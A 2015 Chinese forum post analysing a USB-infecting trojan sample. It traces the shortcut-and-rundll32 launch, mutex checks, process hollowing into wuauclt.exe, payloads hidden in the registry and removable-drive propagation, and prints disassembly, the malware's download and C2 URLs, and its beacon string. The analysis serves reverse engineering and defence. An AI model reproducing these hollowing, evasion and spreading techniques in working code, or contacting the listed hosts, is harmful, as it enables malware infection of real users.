本帖最后由 安静的小酒吧 于 2015-12-7 00:26 编辑
一个感染型U盘木马分析 安静的小酒吧 我在吾爱的第3个样本分析 基本信息 名称 | | | | | | | | | | | | | | | | | | | | ED2BB7CE9F13A9550D4F401B6FD56129 | | | 2A937B12BA42F896E815FD4AC96CBC37 | | | 272CD74C46CF0EBAC596CF27D1818D01 | | | 3DEB0BBD9BC926AFE52E88486EDBED6F | 简介
样本来自论坛的病毒样本区(http://www.52pojie.cn/thread-434393-1-1.html),已经有论坛好友进行初步分析(http://www.52pojie.cn/thread-441079-1-1.html)(分析到下载文件,由于链接失效,就停止了),但我发现该样本还有很多地方值得挖掘,就进行了进一步分析,最后发现该样本确实有很多值得研究的地方。
样本总体来说技术手法不错,有很多值得学习的地方,尤其启动和隐藏部分设计精巧。由于启动部分执行漫长,所以下面的分析简要概括为主,并对关键技术及调试方法进行说明。技术手法相当不做,很佩服该样本的开发人员的能力。
感染症状
样本的感染症状为,U盘里的文件莫名其妙全部消失(如果开启了显示隐藏的系统文件的话可以看到一个名称奇怪的目录,全部在那个里面),但是看到几个奇怪的文件,一个快捷方式(样本从这里开始启动,不要随便双击),_WXX.nil,(XX表示随机,也可能是XXX),desktop.ini, Thumbs.db。
技术特征 1. 快捷方式启动rundll32,运行一个dll,然后是一系列的加载。 2.样本中多次出现shellcode式写法的汇编代码。 3.出现两次自我创建、一次进程替换,这种方法对于动态分析和检测有很好的规避效果。 4.样本把敏感的数据部分保存到了注册表中,可以很好的规避静态查杀。 样本框架
执行流程
主程序模块:
1.通过快捷方式运行“%homedrive%\WINDOWS\System32\rundll32.exe _WGN.nil,rundll32”,即使用系统的rundll32.exe运行_WGN.nil,并且调用_WGN.nil的rundll32这个导出函数。 2.读入并解密当前目录下的desktop.ini,解密后是一段shellcode写法的指令,运行这段指令。 3.尝试打开互斥体“CCC”,判断主机是否已经被感染。 4.尝试从http://m.deltaheavy.ru/m下载文件Thumbs.db,该链接已经失效,但是得到样本时一起附加了这个文件。(分析到最后可以发现,下载文件应该是用于样本更新的,感染移动磁盘时会写入这样一个文件)。 5.解密Thumbs.db文件,将其写入“C:\MSI\TrustedInstaller.exe”,并运行,然后循环尝试删除usb3.exe这个文件。
TrustedInstaller.exe模块:
2.自我创建(《逆向工程核心原理》里面这样命名的,创建一个挂起的子进程,将部署的内存信息卸载,然后再WriteProcessMemory,最后再将该进程唤醒),将要新写入PE文件从内存中抠出来单独调试,命名为temp0.exe。
temp0.exe模块:
1.判断是否有鼠标移动(一般是用来检测动态分析或者虚拟机检测之类的)。 2.尝试打开互斥体“CCC”。 3.解密并释放一个PE文件:msiexec.exe。 4.在注册表中存放一个zip压缩文件。 5.将自身加密后保存到注册表中(注册表是一个比较好的藏东西的地方,一般不会有人去注意这个地方)。 6.运行释放的PE文件msiexec.exe。
msiexec.exe模块:
1.PE文件带upx壳,脱壳。 2.再次使用TrustedInstaller.exe模块中的第二步,使用同样的处理手法,从内存中dump出来一个PE文件,命名为temp1.exe。
temp1.exe模块:
1.代码自解密。 2.进程替换(《恶意代码分析实战》将这种手法称为进程替换),创建挂起的wuauclt.exe,然后将其挂起,然后写入自己的代码并执行(处理方法看下面的关键技术部分)。 3.进入被替换的wuauclt.exe。 4.写注册表自启动项。 5.创建互斥体,互斥名:2029224350。 6.随机生成一个文件名,将自身复制到temp目录下(C:\DOCUME~1\ALLUSE~1\LOCALS~1\Temp\cciiuk.exe)。 7.创建多个线程: 线程一:
(1)读取temp0.exe模块第四步在注册标准存放的zip压缩包并解密。 (2) 创建互斥体”CCC“。 (3)下载文件保存到temp目录(下载链接已经失效),下载地址: http://a.deltaheavy.ru/a?=sbsskksbsskkksbbbkkbbkkk
http://b.deltaheavy.ru/b?=ddllldddddddduududuuuuuu
http://c.deltaheavy.ru/c?=qbsmxqbjmxyisbeypjismxqj
(4)遍历磁盘驱动,查找可移动磁盘。 (5)检测移动磁盘是否已经被感染。 (6)创建一个隐藏的目录,将现有的文件全部移动到该目录下。 (7)感染移动磁盘,释放一个_WXUV.nil(前半部分随机生成),desktop.ini,Thmus.db,制作一个u盘的快捷方式,用来启动主程序模块的第一个步骤。 (8)实时监控设备插入消息,出现移动设备插入时再次感染。 线程二:
枚举注册表项(LOCAL_MACHINE\software\Microsoft),查找特定项。 线程三:
(1)该线程主要用来进行网络连接。
(2) 尝试连接这个地址http://morphed.ru/static.php 并发送如下字符串: “upqchSk8slbBFeZmnIKGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33NhEPKgsg9mY3qw=="。 关键技术 1. TrustedInstaller.exe模块中的自我创建(关键技术可以参阅《逆向工程核心原理》第55章): 创建一个挂起的子进程:并卸载越有的内存,然后部署新的内存块: [Asm] 纯文本查看 复制代码 00401CB4 68 08AC4000 push TrustedI.0040AC08
00401CB9 68 60AF4000 push TrustedI.0040AF60 ; UNICODE "D"
00401CBE 6A 00 push 0x0
00401CC0 6A 00 push 0x0
00401CC2 6A 04 push 0x4
00401CC4 6A 00 push 0x0
00401CC6 6A 00 push 0x0
00401CC8 6A 00 push 0x0
00401CCA 6A 00 push 0x0
00401CCC 68 D4AF4000 push TrustedI.0040AFD4 ; UNICODE "C:\Documents and Settings\Administrator\桌面\Trusted"
00401CD1 FF15 C4AF4000 call dword ptr ds:[0x40AFC4] ; kernel32.CreateProcessW
00401CD7 C745 FC 5400000>mov dword ptr ss:[ebp-0x4],0x54
00401CDE 8B45 FC mov eax,dword ptr ss:[ebp-0x4]
00401CE1 50 push eax
00401CE2 FF15 FCB14000 call dword ptr ds:[0x40B1FC] ; kernel32.GlobalFree
00401CE8 8B0D 1CAC4000 mov ecx,dword ptr ds:[0x40AC1C]
00401CEE 8B51 34 mov edx,dword ptr ds:[ecx+0x34]
00401CF1 52 push edx
00401CF2 A1 08AC4000 mov eax,dword ptr ds:[0x40AC08]
00401CF7 50 push eax
00401CF8 FF15 18AF4000 call dword ptr ds:[0x40AF18] ; ntdll.ZwUnmapViewOfSection
00401CFE C745 F8 3A00000>mov dword ptr ss:[ebp-0x8],0x3A
00401D05 8B4D F8 mov ecx,dword ptr ss:[ebp-0x8]
00401D08 51 push ecx ; ntdll.7C92F641
00401D09 FF15 FCB14000 call dword ptr ds:[0x40B1FC] ; kernel32.GlobalFree
00401D0F 6A 40 push 0x40
00401D11 68 00300000 push 0x3000
00401D16 8B15 1CAC4000 mov edx,dword ptr ds:[0x40AC1C]
00401D1C 8B42 50 mov eax,dword ptr ds:[edx+0x50]
00401D1F 50 push eax
00401D20 8B0D 1CAC4000 mov ecx,dword ptr ds:[0x40AC1C]
00401D26 8B51 34 mov edx,dword ptr ds:[ecx+0x34]
00401D29 52 push edx
00401D2A A1 08AC4000 mov eax,dword ptr ds:[0x40AC08]
00401D2F 50 push eax
00401D30 FF15 28AC4000 call dword ptr ds:[0x40AC28] ; kernel32.VirtualAllocEx
00401D36 6A 58 push 0x58
00401D38 6A 17 push 0x17
00401D3A FF15 50AF4000 call dword ptr ds:[0x40AF50] ; kernel32.CreateToolhelp32Snapshot
00401D40 6A 00 push 0x0
00401D42 8B0D 1CAC4000 mov ecx,dword ptr ds:[0x40AC1C]
00401D48 8B51 54 mov edx,dword ptr ds:[ecx+0x54]
00401D4B 52 push edx
00401D4C 8B45 08 mov eax,dword ptr ss:[ebp+0x8]
00401D4F 50 push eax
00401D50 8B0D 1CAC4000 mov ecx,dword ptr ds:[0x40AC1C]
00401D56 8B51 34 mov edx,dword ptr ds:[ecx+0x34]
00401D59 52 push edx
00401D5A A1 08AC4000 mov eax,dword ptr ds:[0x40AC08]
00401D5F 50 push eax
00401D60 FF15 BCAF4000 call dword ptr ds:[0x40AFBC] ; kernel32.WriteProcessMemory[/align][align=left] 重新设置进程的上下文信息(主要是设置新进程的入口点),并唤醒新进程。 [Asm] 纯文本查看 复制代码 00401D8F 68 40AC4000 push TrustedI.0040AC40
00401D94 A1 0CAC4000 mov eax,dword ptr ds:[0x40AC0C]
00401D99 50 push eax
00401D9A FF15 20AF4000 call dword ptr ds:[0x40AF20] ; kernel32.GetThreadContext
00401DA0 6A 0E push 0xE
00401DA2 6A 47 push 0x47
00401DA4 FF15 D0AF4000 call dword ptr ds:[0x40AFD0] ; kernel32.GlobalAlloc
00401DAA 8B0D 1CAC4000 mov ecx,dword ptr ds:[0x40AC1C]
00401DB0 8B51 34 mov edx,dword ptr ds:[ecx+0x34]
00401DB3 A1 1CAC4000 mov eax,dword ptr ds:[0x40AC1C]
00401DB8 0350 28 add edx,dword ptr ds:[eax+0x28]
00401DBB 8915 F0AC4000 mov dword ptr ds:[0x40ACF0],edx
00401DC1 6A 62 push 0x62
00401DC3 6A 44 push 0x44
00401DC5 6A 00 push 0x0
00401DC7 FF15 2CAC4000 call dword ptr ds:[0x40AC2C] ; kernel32.FindResourceA
00401DCD 68 40AC4000 push TrustedI.0040AC40
00401DD2 8B0D 0CAC4000 mov ecx,dword ptr ds:[0x40AC0C]
00401DD8 51 push ecx
00401DD9 FF15 A4AF4000 call dword ptr ds:[0x40AFA4] ; kernel32.SetThreadContext
00401DDF 6A 43 push 0x43
00401DE1 6A 56 push 0x56
00401DE3 FF15 D0AF4000 call dword ptr ds:[0x40AFD0] ; kernel32.GlobalAlloc
00401DE9 8B15 0CAC4000 mov edx,dword ptr ds:[0x40AC0C]
00401DEF 52 push edx
00401DF0 FF15 58AF4000 call dword ptr ds:[0x40AF58] ; kernel32.ResumeThread
根据WriteProcessMemory的参数buf的地址从内存中可以dump出来一个PE文件,对可以对PE文件进行单独调试。 内存中的PE文件
2. 进程替换。进程替换的方法大致和自我创建相同,只是一般替换成一个系统的可执行文件,然后在系统可执行文件的入口处修改成跳到自身的一个跳转即可。 创建的进程 修改入口指令
[Asm] 纯文本查看 复制代码
001E033B 8B7D CC mov edi,dword ptr ss:[ebp-0x34]
001E033E 037D DC add edi,dword ptr ss:[ebp-0x24]
001E0341 B0 68 mov al,0x68
001E0343 AA stos byte ptr es:[edi]
001E0344 8B45 08 mov eax,dword ptr ss:[ebp+0x8] ; temp2.00407992
001E0347 2B45 F8 sub eax,dword ptr ss:[ebp-0x8] ; temp2.00400000
001E034A 0345 D4 add eax,dword ptr ss:[ebp-0x2C]
001E034D AB stos dword ptr es:[edi]
001E034E B0 C3 mov al,0xC3
001E0350 AA stos byte ptr es:[edi]
修改前 修改后 这种方式的替换调试比较麻烦,我采用的是将入口写入的跳转指令写改为一个死循环,然后让其运行起来,在使用OD附加对应进程(一般还会存在一个系统同名的进程,注意PID)。这样断下来的结果就在你写入的死循环的位置,这样把原先的指令回复后就可以进行调试了。
我修改的循环指令
3.样本另一个技术特点就是在注册标准存储关键信息例如压缩文件、加密后的PE文件,这样的方法容易规避静态查杀。
[Asm] 纯文本查看 复制代码 0040138C |. 56 push esi ; /hTemplateFile = 00000044 (window)
0040138D |. 56 push esi ; |Attributes = SYSTEM|40
0040138E |. 6A 03 push 0x3 ; |Mode = OPEN_EXISTING
00401390 |. 56 push esi ; |pSecurity = 00000044
00401391 |. 56 push esi ; |ShareMode = 44
00401392 |. 68 00000080 push 0x80000000 ; |Access = GENERIC_READ
00401397 |. 8D4424 30 lea eax,dword ptr ss:[esp+0x30] ; |
0040139B |. 50 push eax ; |FileName = 00000001 ???
0040139C |. FF15 50804000 call dword ptr ds:[<&KERNEL32.CreateFileW>] ; \CreateFileW
004013A2 |. 894424 10 mov dword ptr ss:[esp+0x10],eax
004013A6 |. 83F8 FF cmp eax,-0x1
004013A9 |. 0F84 A0000000 je temp.0040144F
004013AF |. 56 push esi ; /pFileSizeHigh = 00000044
004013B0 |. 50 push eax ; |hFile = 00000001
004013B1 |. FF15 4C804000 call dword ptr ds:[<&KERNEL32.GetFileSize>] ; \GetFileSize
004013B7 |. 6A 04 push 0x4 ; /Protect = PAGE_READWRITE
004013B9 |. 68 00100000 push 0x1000 ; |AllocationType = MEM_COMMIT
004013BE |. 8BD8 mov ebx,eax ; |
004013C0 |. 53 push ebx ; |Size = 18991 (100753.)
004013C1 |. 56 push esi ; |Address = 00000044
004013C2 |. FF15 64804000 call dword ptr ds:[<&KERNEL32.VirtualAlloc>] ; \VirtualAlloc
004013C8 |. 56 push esi ; /pOverlapped = 00000044
004013C9 |. 8BF8 mov edi,eax ; |
004013CB |. 8D4424 18 lea eax,dword ptr ss:[esp+0x18] ; |
004013CF |. 50 push eax ; |pBytesRead = 00000001
004013D0 |. 53 push ebx ; |BytesToRead = 18991 (100753.)
004013D1 |. 57 push edi ; |Buffer = NULL
004013D2 |. FF7424 20 push dword ptr ss:[esp+0x20] ; |hFile = NULL
004013D6 |. FF15 40804000 call dword ptr ds:[<&KERNEL32.ReadFile>] ; \ReadFile
004013DC |. E8 860B0000 call temp.00401F67
004013E1 |. 99 cdq
004013E2 |. B9 FF000000 mov ecx,0xFF
004013E7 |. F7F9 idiv ecx
004013E9 |. 897424 0C mov dword ptr ss:[esp+0xC],esi
004013ED |. 42 inc edx ; ntdll.KiFastSystemCallRet
004013EE |. 3BDE cmp ebx,esi
004013F0 |. 76 19 jbe short temp.0040140B
004013F2 |> 8B4424 0C /mov eax,dword ptr ss:[esp+0xC]
004013F6 |. 8A0C38 |mov cl,byte ptr ds:[eax+edi]
004013F9 |. 80E9 42 |sub cl,0x42
004013FC |. 32CA |xor cl,dl
004013FE |. FF4424 0C |inc dword ptr ss:[esp+0xC]
00401402 |. 880C38 |mov byte ptr ds:[eax+edi],cl
00401405 |. 395C24 0C |cmp dword ptr ss:[esp+0xC],ebx
00401409 |.^ 72 E7 \jb short temp.004013F2
0040140B |> 53 push ebx ; /BufSize = 18991 (100753.)
0040140C |. 57 push edi ; |Buffer = NULL
0040140D |. 6A 03 push 0x3 ; |ValueType = REG_BINARY
0040140F |. 56 push esi ; |Reserved = 0x44
00401410 |. 68 F0A04000 push temp.0040A0F0 ; |ValueName = "ImageBase"
00401415 |. FF35 442D4200 push dword ptr ds:[0x422D44] ; |hKey = 0x44
0040141B |. FF15 28804000 call dword ptr ds:[<&ADVAPI32.RegSetValueExW>] ; \RegSetValueExW
00401421 |. 68 00800000 push 0x8000 ; /FreeType = MEM_RELEASE
00401426 |. 56 push esi ; |Size = 44 (68.)
00401427 |. 57 push edi ; |Address = NULL
00401428 |. FF15 30804000 call dword ptr ds:[<&KERNEL32.VirtualFree>] ; \VirtualFree
0040142E |. FF7424 10 push dword ptr ss:[esp+0x10] ; /hObject = 0000003C (window)
00401432 |. FF15 34804000 call dword ptr ds:[<&KERNEL32.CloseHandle>] ; \CloseHandle
00401438 |. FF35 442D4200 push dword ptr ds:[0x422D44] ; /hKey = 00000044 (window)
0040143E |. FF15 00804000 call dword ptr ds:[<&ADVAPI32.RegCloseKey>] ; \RegCloseKey
加密的PE文件 压缩文件
4.网络连接,该样本的网络连接是采用HTTP协议的,多次尝试连接一个域名,但是由于链接已经失效,所以后期没法分析。
抓包获取到的数据
小结 该样本过程比较复杂,分析起来难度略大,但还是跟踪下来的,尤其是自我创建和进程替换部分的调试比较困难,第一次使用死循环这种方式,发现这种方法特别有效,对于其他形式的进程注入,该方法同样有效。
最后不得不佩服样本开发者如此牛逼的框架设计和编码实现能力,尤其需要对汇编语言和windows编程相当熟悉的(其中使用了很多微软未公开的ntdll.dll里面的函数)。
|